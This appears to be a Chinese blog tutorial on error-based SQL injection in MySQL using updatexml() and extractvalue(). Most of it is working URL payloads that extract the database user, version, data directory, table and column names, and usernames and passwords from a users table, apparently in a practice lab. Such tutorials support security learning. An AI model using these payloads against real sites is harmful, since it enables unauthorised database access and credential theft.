sql注入之报错注入

报错注入函数

**updatexml()**,注意,该函数最多显示32位,必要时搭配substr()函数使用

extravtvalue()

floor()、rand()…主键重复方式,暂时不展开

报错注入思想

语法格式:updatexml(XML_document,Xpath_string,new_value)

XML_document:是字符串String格式,为XML文档对象名称

Xpath_string:Xpath格式的字符串

new_value:string格式,替换查找到的符合条件的数据

如果人为构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数(即出现了符号’~’或’^’,’!’等),mysql就会报错

1
2
3
4
5
6
7
8
9
10
查询当前数据库的用户信息以及数据库版本信息:
?id=1" and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) --+
获取当前数据库下数据表信息:
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
获取users表名的列名信息:
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3) --+
获取users数据表下username、password两列名的用户字段信息:
?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+

语法格式:extractvalue()函数语法:extractvalue(XML_document,XPath_string)

1
2
3
4
5
6
7
8
9
10
获取当前是数据库名称及使用mysql数据库的版本信息:
?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+
获取当前位置所用数据库的位置:
?id=1" and extractvalue(1,concat(0x7e,@@datadir,0x7e)) --+
获取表名:
?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
获取users表的列名:
?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+
获取对应的列名的信息(username/password):
?id=1" and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信